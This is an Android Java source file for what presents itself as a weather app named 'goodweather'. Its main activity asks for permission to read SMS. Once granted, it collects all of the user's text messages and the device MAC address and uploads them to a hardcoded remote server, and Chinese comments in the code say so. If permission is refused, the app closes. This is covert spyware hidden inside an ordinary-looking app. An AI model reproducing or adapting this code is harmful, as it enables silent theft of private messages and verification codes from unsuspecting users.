package goodweather.cjxy.edu;

import android.Manifest;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;

import java.io.IOException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import goodweather.cjxy.edu.goodweather.R;
import goodweather.cjxy.edu.util.GetUInfoUtils;
import goodweather.cjxy.edu.util.HttpUtil;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.Response;

public class MainActivity extends AppCompatActivity {
    String url="http://218.197.14.12:8080/goodweather/getUserMsg.do";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        if(ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS)
                != PackageManager.PERMISSION_GRANTED){
            ActivityCompat.requestPermissions(this,new String[]{Manifest.permission.READ_SMS},1);
        }else{
            //有权限代表用户已经授过一次权了，下一次来不用再重复获取用户的信息
            //goTarget();
        }

        setContentView(R.layout.activity_main);

        SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this);
        if (preferences.getString("weather", null) != null) {
            Intent i = new Intent(this, WeatherActivity.class);
            startActivity(i);
            finish();
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode,  String[] permissions,  int[] grantResults) {

        switch (requestCode){
            case 1:
                if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                    Map map=new HashMap();
                    map.put("macadd","macadd");
                    map.put("umsg","umsg");
                    String macAdd= GetUInfoUtils.getMacAdd(getBaseContext());
                    final List<String> list=GetUInfoUtils.getUMsg(getBaseContext());//获取短信
                    //把用户短信保存到服务器

                    HttpUtil.sendPost(url, list, macAdd, map, new Callback() {

                        @Override
                        public void onResponse(Call call, Response response) throws IOException {
                        }
                        @Override
                        public void onFailure(Call call, IOException e) {
                           finish();
                        }

                    });

                }else{//没有给权限
                    finish();
                }
                break;
        }
    }

    void goTarget() {
        Intent i = new Intent(this,MainActivity.class);
        startActivity(i);
        finish();
    }
}
